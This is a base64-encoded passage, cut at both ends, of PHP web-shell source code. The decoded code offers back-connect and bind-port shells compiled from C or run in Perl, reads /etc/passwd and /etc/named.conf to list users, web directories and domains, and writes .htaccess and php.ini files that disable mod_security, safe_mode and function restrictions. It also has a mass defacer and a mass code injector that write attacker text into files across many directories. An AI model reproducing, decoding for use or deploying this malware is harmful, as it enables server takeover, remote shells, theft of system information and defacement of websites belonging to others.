vc2VsZWN0PiA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij4KICAgIDwvZm9ybT4KICAgIDxmb3JtIG5hbWU9XCduZnBcJyBvblN1Ym1pdD0iZyhudWxsLG51bGwsdGhpcy51c2luZy52YWx1ZSx0aGlzLnNlcnZlci52YWx1ZSx0aGlzLnBvcnQudmFsdWUpO3JldHVybiBmYWxzZTsiPgogICAgPGJyIC8+PGJyIC8+PHNwYW4+QmFjay1jb25uZWN0IHRvPC9zcGFuPjxici8+CiAgICBTZXJ2ZXI6IDxpbnB1dCB0eXBlPVwndGV4dFwnIG5hbWU9XCdzZXJ2ZXJcJyB2YWx1ZT0iJy4kX1NFUlZFUlsnUkVNT1RFX0FERFInXS4nIj4gUG9ydDogPGlucHV0IHR5cGU9XCd0ZXh0XCcgbmFtZT1cJ3BvcnRcJyB2YWx1ZT1cJzQ0M1wnPiBVc2luZzogPHNlbGVjdCBuYW1lPSJ1c2luZyI+PG9wdGlvbiB2YWx1ZT1cJ2JjY1wnPkM8L29wdGlvbj48b3B0aW9uIHZhbHVlPVwnYmNwXCc+UGVybDwvb3B0aW9uPjwvc2VsZWN0PiA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij4KICAgIDwvZm9ybT48YnI+JzsgICAgCiAgICBpZihpc3NldCgkX1BPU1RbJ3AxJ10pKSB7CiAgICAgICAgZnVuY3Rpb24gY2YoJGYsJHQpIHsKICAgICAgICAgICAgJHc9QGZvcGVuKCRmLCJ3Iikgb3IgQGZ1bmN0aW9uX2V4aXN0cygnZmlsZV9wdXRfY29udGVudHMnKTsKICAgICAgICAgICAgaWYoJHcpICAgIHsKICAgICAgICAgICAgICAgIEBmd3JpdGUoJHcsQGJhc2U2NF9kZWNvZGUoJHQpKSBvciBAZnB1dHMoJHcsQGJhc2U2NF9kZWNvZGUoJHQpKSBvciBAZmlsZV9wdXRfY29udGVudHMoJGYsQGJhc2U2NF9kZWNvZGUoJHQpKTsKICAgICAgICAgICAgICAgIEBmY2xvc2UoJHcpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGlmKCRfUE9TVFsncDEnXSA9PSAnYnBjJykgewogICAgICAgICAgICBjZigiL3RtcC9icC5jIiwkYmluZF9wb3J0X2MpOwogICAgICAgICAgICAkb3V0ID0gZXgoImdjYyAtbyAvdG1wL2JwIC90bXAvYnAuYyIpOwogICAgICAgICAgICBAdW5saW5rKCIvdG1wL2JwLmMiKTsKICAgICAgICAgICAgJG91dCAuPSBleCgiL3RtcC9icCAiLiRfUE9TVFsncDInXS4iICIuJF9QT1NUWydwMyddLiIgJiIpOwogICAgICAgICAgICBlY2hvICI8cHJlIGNsYXNzPW1sMT4kb3V0XG4iLmV4KCJwcyBhdXggfCBncmVwIGJwIikuIjwvcHJlPiI7CiAgICAgICAgfQogICAgICAgIGlmKCRfUE9TVFsncDEnXSA9PSAnYnBwJykgewogICAgICAgICAgICBjZigiL3RtcC9icC5wbCIsJGJpbmRfcG9ydF9wKTsKICAgICAgICAgICAgJG91dCA9IGV4KHdoaWNoKCJwZXJsIikuIiAvdG1wL2JwLnBsICIuJF9QT1NUWydwMiddLiIgJiIpOwogICAgICAgICAgICBlY2hvICI8cHJlIGNsYXNzPW1sMT4kb3V0XG4iLmV4KCJwcyBhdXggfCBncmVwIGJwLnBsIikuIjwvcHJlPiI7CiAgICAgICAgfQogICAgICAgIGlmKCRfUE9TVFsncDEnXSA9PSAnYmNjJykgewogICAgICAgICAgICBjZigiL3RtcC9iYy5jIiwkYmFja19jb25uZWN0X2MpOwogICAgICAgICAgICAkb3V0ID0gZXgoImdjYyAtbyAvdG1wL2JjIC90bXAvYmMuYyIpOwogICAgICAgICAgICBAdW5saW5rKCIvdG1wL2JjLmMiKTsKICAgICAgICAgICAgJG91dCAuPSBleCgiL3RtcC9iYyAiLiRfUE9TVFsncDInXS4iICIuJF9QT1NUWydwMyddLiIgJiIpOwogICAgICAgICAgICBlY2hvICI8cHJlIGNsYXNzPW1sMT4kb3V0XG4iLmV4KCJwcyBhdXggfCBncmVwIGJjIikuIjwvcHJlPiI7CiAgICAgICAgfQogICAgICAgIGlmKCRfUE9TVFsncDEnXSA9PSAnYmNwJykgewogICAgICAgICAgICBjZigiL3RtcC9iYy5wbCIsJGJhY2tfY29ubmVjdF9wKTsKICAgICAgICAgICAgJG91dCA9IGV4KHdoaWNoKCJwZXJsIikuIiAvdG1wL2JjLnBsICIuJF9QT1NUWydwMiddLiIgIi4kX1BPU1RbJ3AzJ10uIiAmIik7CiAgICAgICAgICAgIGVjaG8gIjxwcmUgY2xhc3M9bWwxPiRvdXRcbiIuZXgoInBzIGF1eCB8IGdyZXAgYmMucGwiKS4iPC9wcmU+IjsKICAgICAgICB9CiAgICB9CiAgICBlY2hvICc8L2Rpdj4nOwogICAgcHJpbnRGb290ZXIoKTsKfQoKCmZ1bmN0aW9uIGFjdGlvblJlYWRhYmxlKCkgewogICAgcHJpbnRIZWFkZXIoKTsKICAgIGVjaG8gJzxoMT5SZWFkYWJsZSBEaXJzPC9oMT4nOwogICAgZWNobyAnPGRpdiBjbGFzcz0iY29udGVudCI+JzsKICAgICRzbSA9IGluaV9nZXQoJ3NhZmVfbW9kZScpOwogICAgaWYoJHNtKSB7CiAgICAgICAgZWNobyAnPGJyIC8+PGI+RXJyb3I6IHNhZmVfbW9kZSA9IG9uPC9iPjxiciAvPjxiciAvPic7CiAgICB9IGVsc2UgewogICAgICAgIEAkcGFzc3dkID0gZmlsZSgnL2V0Yy9wYXNzd2QnLCdyJyk7CiAgICAgICAgaWYgKCEkcGFzc3dkKSB7IAogICAgICAgICAgICBlY2hvICc8YnIgLz48Yj5bLV0gRXJyb3IgOiBjb3VkbmB0IHJlYWQgL2V0Yy9wYXNzd2Q8L2I+PGJyIC8+PGJyIC8+JzsgCiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHB1YiA9IGFycmF5KCk7CiAgICAgICAgICAgICR1c2VycyA9IGFycmF5KCk7CiAgICAgICAgICAgICRjb25mID0gYXJyYXkoKTsKICAgICAgICAgICAgJGkgPSAwOwogICAgICAgICAgICBmb3JlYWNoKCRwYXNzd2QgYXMgJHApIHsKICAgICAgICAgICAgICAgICRyID0gZXhwbG9kZSgnOicsJHApOwogICAgICAgICAgICAgICAgJGRpcnogPSAkcls1XS4nL3B1YmxpY19odG1sLyc7CiAgICAgICAgICAgICAgICBpZihzdHJwb3MoJHJbNV0sJ2hvbWUnKSkgewogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJHVzZXJzLCRyWzBdKTsKICAgICAgICAgICAgICAgICAgICBpZiAoaXNfcmVhZGFibGUoJGRpcnopKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJHB1YiwkZGlyeik7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGVjaG8gJzxicj48YnI+JzsKICAgICAgICAgICAgZWNobyAiWytdIEZvdW5kZWQgIi5zaXplb2YoJHVzZXJzKS4iIGVudHJ5cyBpbiAvZXRjL3Bhc3N3ZFxuIi4iPGJyIC8+IjsKICAgICAgICAgICAgZWNobyAiWytdIEZvdW5kZWQgIi5zaXplb2YoJHB1YikuIiByZWFkYWJsZSBwdWJsaWNfaHRtbCBkaXJlY3Rvcmllc1xuIi4iPGJyIC8+PGJyIC8+PGJyIC8+IjsKICAgICAgICAgICAgZm9yZWFjaCAoJHB1YiBhcyAkdXNlcikgewogICAgICAgICAgICAgICAgZWNobyAkdXNlci4iPGJyPiI7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWNobyAiPGJyIC8+PGJyIC8+PGJyIC8+WytdIENvbXBsZXRlLi4uXG4iLiI8YnIgLz4iOwogICAgICAgIH0KICAgIH0KICAgIGVjaG8gJzwvZGl2Pic7CiAgICBwcmludEZvb3RlcigpOyAgICAKfQoKZnVuY3Rpb24gYWN0aW9uQnlwYXNzKCkgewogICAgcHJpbnRIZWFkZXIoKTsKICAgIGVjaG8gJzxoMT5TYWZlIE1vZGU8L2gxPic7CiAgICBlY2hvICc8ZGl2IGNsYXNzPSJjb250ZW50Ij4nOwogICAgZWNobyAiPGRpdiBjbGFzcz1oZWFkZXI+PGNlbnRlcj48aDM+PHNwYW4+fCBTQUZFIE1PREUgQU5EIE1PRCBTRUNVUklUWSBESVNBQkxFRCBBTkQgUEVSTCA1MDAgSU5URVJOQUwgRVJST1IgQllQQVNTIHw8L3NwYW4+PC9oMz5Gb2xsb3dpbmcgcGhwLmluaSBhbmQgLmh0YWNjZXNzKG1vZCkgYW5kIHBlcmwoLmh0YWNjZXNzKVtjb252ZXJ0IHBlcmwgZXh0ZW50aW9uICoucGwgPT4gKi5zaCAgXSBmaWxlcyBjcmVhdGUgaW4gZm9sbG93aW5nIGRpcjxicj58ICIuJEdMT0JBTFNbJ2N3ZCddLiIgfDxicj48YnIgLz4iOwogICAgZWNobyAnPGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLFwncGhwLmluaVwnLG51bGwpIj58IFBIUC5JTkkgfCA8L2E+PGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLG51bGwsXCdpbmlcJykiPnwgLmh0YWNjZXNzKE1vZCkgfCA8L2E+PGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLG51bGwsbnVsbCxcJ3NoXCcpIj58IC5odGFjY2VzcyhwZXJsKSB8IDwvYT48L2NlbnRlcj4nOwogICAgaWYoIWVtcHR5KCRfUE9TVFsncDInXSkgJiYgaXNzZXQoJF9QT1NUWydwMiddKSkKICAgIHsKICAgICAgICAkZmlsPWZvcGVuKCRHTE9CQUxTWydjd2QnXS4iLmh0YWNjZXNzIiwidyIpOwogICAgICAgIGZ3cml0ZSgkZmlsLCc8SWZNb2R1bGUgbW9kX3NlY3VyaXR5LmM+CiAgICAgICAgICAgIFNlYy0tLS0tLUVuZ2luZSBPZmYKICAgICAgICAgICAgU2VjLS0tLS0tU2NhblBPU1QgT2ZmCiAgICAgICAgICAgIDwvSWZNb2R1bGU+Jyk7CiAgICAgICAgZmNsb3NlKCRmaWwpOwogICB9CiAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pJiYgaXNzZXQoJF9QT1NUWydwMSddKSkKICAgewogICAgICAgICRmaWw9Zm9wZW4oJEdMT0JBTFNbJ2N3ZCddLiJwaHAuaW5pIiwidyIpOwogICAgICAgIGZ3cml0ZSgkZmlsLCdzYWZlX21vZGU9T0ZGCiAgICAgICAgICAgIGRpc2FibGVfZnVuY3Rpb25zPU5PTkUnKTsKICAgICAgICBmY2xvc2UoJGZpbCk7CiAgICB9CiAgICBpZighZW1wdHkoJF9QT1NUWydwMyddKSAmJiBpc3NldCgkX1BPU1RbJ3AzJ10pKQogICAgewogICAgICAgICRmaWw9Zm9wZW4oJEdMT0JBTFNbJ2N3ZCddLiIuaHRhY2Nlc3MiLCJ3Iik7CiAgICAgICAgZndyaXRlKCRmaWwsJ09wdGlvbnMgRm9sbG93U3ltTGlua3MgTXVsdGlWaWV3cyBJbmRleGVzIEV4ZWNDR0kKICAgICAgICBBZGRUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtY2dpIC5zaAogICAgICAgIEFkZEhhbmRsZXIgY2dpLXNjcmlwdCAucGwKICAgICAgICBBZGRIYW5kbGVyIGNnaS1zY3JpcHQgLnBsJyk7CiAgICAgICAgZmNsb3NlKCRmaWwpOyAKICAgIH0KICAgIGVjaG8gIjxicj48YnIgLz48YnIgLz48L2Rpdj4iOwogICAgZWNobyAnPC9kaXY+JzsKICAgIHByaW50Rm9vdGVyKCk7CiAgIAp9CgpmdW5jdGlvbiBhY3Rpb25EZWZhY2UoKSB7CnByaW50SGVhZGVyKCk7CmVjaG8gIjxoMT5NYXNzIERlZmFjZXIgYnkgWiBIYW94cjwvaDE+PGRpdiBjbGFzcz1jb250ZW50PiI7Cj8+Cjxmb3JtIEVOQ1RZUEU9Im11bHRpcGFydC9mb3JtLWRhdGEiIGFjdGlvbj0iPD8kX1NFUlZFUlsnUEhQX1NFTEYnXT8+IiBtZXRob2Q9UE9TVCBvblN1Ym1pdD0iZyhudWxsLG51bGwsdGhpcy5wYXRoLnZhbHVlLHRoaXMuZmlsZS52YWx1ZSx0aGlzLkNvbnRlbnRzLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij4KPHAgYWxpZ249IkxlZnQiPkZvbGRlcjogPGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhdGggc2l6ZT02MCB2YWx1ZT0iPD89Z2V0Y3dkKCk7ID8+Ij4KPGJyPmZpbGUgbmFtZSA6IDxpbnB1dCB0eXBlPXRleHQgbmFtZT1maWxlIHNpemU9MjAgdmFsdWU9ImluZGV4LnBocCI+Cjxicj5UZXh0IENvbnRlbnQgOiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9Q29udGVudHMgc2l6ZT03MCB2YWx1ZT0iQWRkIHlvdXIgZGVmYWNlIHR4dCBoZXJlIj4gCjxicj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkRlZmFjZSBub3ciPjwvcD48L2Zvcm0+Cgo8P3BocAppZiAoJF9QT1NUWydhJ10gPT0gJ0RlZmFjZScpIHsKJG1haW5wYXRoID0gJF9QT1NUW3AxXTsKJGZpbGUgPSAkX1BPU1RbcDJdOwokdHh0Q29udGVudHMgPSAkX1BPU1RbcDNdOwplY2hvICJNYXNzIERlZmFjZXIgc2NyaXB0IGJ5IFogSGFveHIiOwokZGlyID0gb3BlbmRpcigkbWFpbnBhdGgpOyAvL2ZpeG1lIC0gY2Fubm90IGRlZmFjZSB3aGVuIGNoYW5nZSB0byB3cml0ZWFibGUgcGF0aCEhCndoaWxlICgkcm93ID0gcmVhZGRpcigkZGlyKSkgewokc3RhcnQgPSBAZm9wZW4oIiRyb3cvJGZpbGUiLCAidysiKTsKJGNvZGUgPSAkdHh0Q29udGVudHM7CiRmaW5pc2ggPSBAZndyaXRlKCRzdGFydCwgJGNvZGUpOwppZiAoJGZpbmlzaCkgewplY2hvICIkcm93LyRmaWxlID4gRG9uZTxicj48YnI+IjsKfQp9Cgp9CmVjaG8gJzwvZGl2Pic7CnByaW50Rm9vdGVyKCk7Cn0KCmZ1bmN0aW9uIGFjdGlvbkluamVjdG9yKCl7CiAgICBwcmludEhlYWRlcigpOwogICAgZWNobyAnPGgxPk1hc3MgQ29kZSBJbmplY3RvcjwvaDE+JzsKICAgIGVjaG8gJzxkaXYgY2xhc3M9ImNvbnRlbnQiPic7CiAgICAKICAgIGlmKHN0cmlzdHIocGhwX3VuYW1lKCksIldpbmRvd3MiKSkgeyAkRFMgPSAiXFwiOyB9IGVsc2UgaWYoc3RyaXN0cihwaHBfdW5hbWUoKSwiTGludXgiKSkgeyAkRFMgPSAnLyc7IH0KICAgIGZ1bmN0aW9uIGdldF9zdHJ1Y3R1cmUoJHBhdGgsJGRlcHRoKSB7CiAgICAgICAgZ2xvYmFsICREUzsKICAgICAgICAkcmVzID0gYXJyYXkoKTsKICAgICAgICBpZihpbl9hcnJheSgwLCAkZGVwdGgpKSB7ICRyZXNbXSA9ICRwYXRoOyB9CiAgICAgICAgaWYoaW5fYXJyYXkoMSwgJGRlcHRoKSBvciBpbl9hcnJheSgyLCAkZGVwdGgpIG9yIGluX2FycmF5KDMsICRkZXB0aCkpIHsKICAgICAgICAgICAgJHRtcDEgPSBnbG9iKCRwYXRoLiREUy4nKicsR0xPQl9PTkxZRElSKTsKICAgICAgICAgICAgaWYoaW5fYXJyYXkoMSwgJGRlcHRoKSkgeyAkcmVzID0gYXJyYXlfbWVyZ2UoJHJlcywkdG1wMSk7IH0KICAgICAgICB9CiAgICAgICAgaWYoaW5fYXJyYXkoMiwgJGRlcHRoKSBvciBpbl9hcnJheSgzLCAkZGVwdGgpKSB7CiAgICAgICAgICAgICR0bXAyID0gYXJyYXkoKTsKICAgICAgICAgICAgZm9yZWFjaCgkdG1wMSBhcyAkdCl7CiAgICAgICAgICAgICAgICAkdHAyID0gZ2xvYigkdC4kRFMuJyonLEdMT0JfT05MWURJUik7CiAgICAgICAgICAgICAgICAkdG1wMiA9IGFycmF5X21lcmdlKCR0bXAyLCAkdHAyKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZihpbl9hcnJheSgyLCAkZGVwdGgpKSB7ICRyZXMgPSBhcnJheV9tZXJnZSgkcmVzLCR0bXAyKTsgfQogICAgICAgIH0KICAgICAgICBpZihpbl9hcnJheSgzLCAkZGVwdGgpKSB7CiAgICAgICAgICAgICR0bXAzID0gYXJyYXkoKTsKICAgICAgICAgICAgZm9yZWFjaCgkdG1wMiBhcyAkdCl7CiAgICAgICAgICAgICAgICAkdHAzID0gZ2xvYigkdC4kRFMuJyonLEdMT0JfT05MWURJUik7CiAgICAgICAgICAgICAgICAkdG1wMyA9IGFycmF5X21lcmdlKCR0bXAzLCAkdHAzKTsKICAgICAgICAgICAgfQogICAgICAgICAgICAkcmVzID0gYXJyYXlfbWVyZ2UoJHJlcywkdG1wMyk7CiAgICAgICAgfQogICAgICAgIHJldHVybiAkcmVzOwogICAgfQoKICAgIGlmKGlzc2V0KCRfUE9TVFsnc3VibWl0J10pICYmICRfUE9TVFsnc3VibWl0J109PSdJbmplY3QnKSB7CiAgICAgICAgJG5hbWUgPSAkX1BPU1RbJ25hbWUnXSA/ICRfUE9TVFsnbmFtZSddIDogJyonOwogICAgICAgICR0eXBlID0gJF9QT1NUWyd0eXBlJ10gPyAkX1BPU1RbJ3R5cGUnXSA6ICdodG1sJzsKICAgICAgICAkcGF0aCA9ICRfUE9TVFsncGF0aCddID8gJF9QT1NUWydwYXRoJ10gOiBnZXRjd2QoKTsKICAgICAgICAkY29kZSA9ICRfUE9TVFsnY29kZSddID8gJF9QT1NUWydjb2RlJ10gOiAnUGFraXN0YW4gSGF4b3JzIENyZXcnOwogICAgICAgICRtb2RlID0gJF9QT1NUWydtb2RlJ10gPyAkX1BPU1RbJ21vZGUnXSA6ICdhJzsKICAgICAgICAkZGVwdGggPSBzaXplb2YoJF9QT1NUWydkZXB0aCddKSA/ICRfUE9TVFsnZGVwdGgnXSA6IGFycmF5KCcwJyk7CiAgICAgICAgJGR0ID0gZ2V0X3N0cnVjdHVyZSgkcGF0aCwkZGVwdGgpOwogICAgICAgIGZvcmVhY2ggKCRkdCBhcyAkZCkgewogICAgICAgICAgICBpZigkbW9kZSA9PSAnYScpIHsKICAgICAgICAgICAgICAgIGlmKGZpbGVfcHV0X2NvbnRlbnRzKCRkLiREUy4kbmFtZS4nLicuJHR5cGUsICRjb2RlLCBGSUxFX0FQUEVORCkpIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8ZGl2PjxzdHJvbmc+Jy4kZC4kRFMuJG5hbWUuJy4nLiR0eXBlLic8L3N0cm9uZz48c3BhbiBzdHlsZT0iY29sb3I6bGltZTsiPiB3YXMgaW5qZWN0ZWQ8L3NwYW4+PC9kaXY+JzsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGRpdj48c3BhbiBzdHlsZT0iY29sb3I6cmVkOyI+ZmFpbGVkIHRvIGluamVjdDwvc3Bhbj4gPHN0cm9uZz4nLiRkLiREUy4kbmFtZS4nLicuJHR5cGUuJzwvc3Ryb25nPjwvZGl2Pic7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICBpZihmaWxlX3B1dF9jb250ZW50cygkZC4kRFMuJG5hbWUuJy4nLiR0eXBlLCAkY29kZSkpIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8ZGl2PjxzdHJvbmc+Jy4kZC4kRFMuJG5hbWUuJy4nLiR0eXBlLic8L3N0cm9uZz48c3BhbiBzdHlsZT0iY29sb3I6bGltZTsiPiB3YXMgaW5qZWN0ZWQ8L3NwYW4+PC9kaXY+JzsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGRpdj48c3BhbiBzdHlsZT0iY29sb3I6cmVkOyI+ZmFpbGVkIHRvIGluamVjdDwvc3Bhbj4gPHN0cm9uZz4nLiRkLiREUy4kbmFtZS4nLicuJHR5cGUuJzwvc3Ryb25nPjwvZGl2Pic7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gICAgICAgIAogICAgICAgIH0KICAgIH0gZWxzZSB7CiAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249IiI+CiAgICAgICAgICAgICAgICA8dGFibGUgYWxpZ249ImNlbnRlciI+CiAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICA8dGQ+RGlyZWN0b3J5IDogPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxpbnB1dCBjbGFzcz0iYm94IiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy5nZXRjd2QoKS4nIiBzaXplPSI1MCIvPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0idGl0bGUiPk1vZGUgOiA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8dGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c2VsZWN0IHN0eWxlPSJ3aWR0aDogMTAwcHg7IiBuYW1lPSJtb2RlIiBjbGFzcz0iYm94Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJhIj5BcGVuZGVyPC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0idyI+T3ZlcndyaXRlcjwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zZWxlY3Q+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0idGl0bGUiPkZpbGUgTmFtZSAmIFR5cGUgOiA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8dGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgc3R5bGU9IndpZHRoOiAxMDBweDsiIG5hbWU9Im5hbWUiIHZhbHVlPSIqIi8+Jm5ic3A7Jm5ic3A7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c2VsZWN0IHN0eWxlPSJ3aWR0aDogMTAwcHg7IiBuYW1lPSJ0eXBlIiBjbGFzcz0iYm94Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9Imh0bWwiPkhUTUw8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9Imh0bSI+SFRNPC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJwaHAiIHNlbGVjdGVkPSJzZWxlY3RlZCI+UEhQPC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJhc3AiPkFTUDwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iYXNweCI+QVNQWDwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0ieG1sIj5YTUw8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9InR4dCI+VFhUPC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvc2VsZWN0PjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0idGl0bGUiPkNvZGUgSW5qZWN0IERlcHRoIDogPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPHRkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJkZXB0aFtdIiB2YWx1ZT0iMCIgY2hlY2tlZD0iY2hlY2tlZCIvPiZuYnNwOzAmbmJzcDsmbmJzcDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iZGVwdGhbXSIgdmFsdWU9IjEiLz4mbmJzcDsxJm5ic3A7Jm5ic3A7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9ImRlcHRoW10iIHZhbHVlPSIyIi8+Jm5ic3A7MiZuYnNwOyZuYnNwOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJkZXB0aFtdIiB2YWx1ZT0iMyIvPiZuYnNwOzMKICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICA8L3RyPiAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMiI+PHRleHRhcmVhIG5hbWU9ImNvZGUiIGNvbHM9IjcwIiByb3dzPSIxMCIgY2xhc3M9ImJveCI+PC90ZXh0YXJlYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDwvdHI+ICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMiIgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9IkluamVjdG9yIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImMiIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKS4nIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InAxIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InAyIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImNoYXJzZXQiIHZhbHVlPSInLihpc3NldCgkX1BPU1RbJ2NoYXJzZXQnXSk/JF9QT1NUWydjaGFyc2V0J106JycpLiciPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHN0eWxlPSJwYWRkaW5nIDo1cHg7IHdpZHRoOjEwMHB4OyIgbmFtZT0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJJbmplY3QiLz48L3RkPgogICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPgogICAgICAgIDwvZm9ybT4nOwogICAgfQogICAgZWNobyAnPC9kaXY+JzsKICAgIHByaW50Rm9vdGVyKCk7Cn0KCgogZnVuY3Rpb24gYWN0aW9uRG9tYWluKCkgewogICAgcHJpbnRIZWFkZXIoKTsKCmVjaG8gJzxoMT5Mb2NhbCBEb21haW5zPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAokZmlsZSA9IEBpbXBsb2RlKEBmaWxlKCIvZXRjL25hbWVkLmNvbmYiKSk7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiREb21haW5fcGF0aCA9ICIvdmFyL25hbWVkIjsKCmlmICghJGZpbGUpIHsKJGRvbWFpbnMgPSBzY2FuZGlyKCREb21haW5fcGF0aCk7CiRjb3VudD0xOwokZGMgPSAwOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8dGFibGUgYWxpZ249Y2VudGVyIGJvcmRlcj0xIHdpZHRoPTU5JSBjZWxscGFkZGluZz01Pgo8dHI+PHRkIGNvbHNwYW49Mj5UaGVyZSBhcmUgOiAoIDxiPiIgLiBjb3VudCgkZG9tYWlucykgLiAiPC9iPiApIERvbWFpbnMgaW4gdGhpcyBTZXZlci5DYW4ndCByZWFkIG5hbWVkLmNvZiAuRG9tYWlucyBhcmUgYnlwYXNzZWQgYWN0dWFsbHkseW91IHdpbGwgZmFjZSBwcm9ibGVtIGluIHN5bWxpbmsuIDwvdGQ+PC90cj4KPHRyPjx0ZD5ObzwvdGQ+PHRkPkRvbWFpbjwvdGQ+PHRkPlVzZXI8L3RkPjwvdHI+IjsKZm9yZWFjaCAoJGRvbWFpbnMgYXMgJiRkb21haW4pIHsKICAgIGlmIChzdHJpcG9zKCRkb21haW4sIi5kYiIpKSB7CiAgICAkZG9tYWluID0gc3RyX3JlcGxhY2UoJy5kYicsJycsJGRvbWFpbik7CgogICA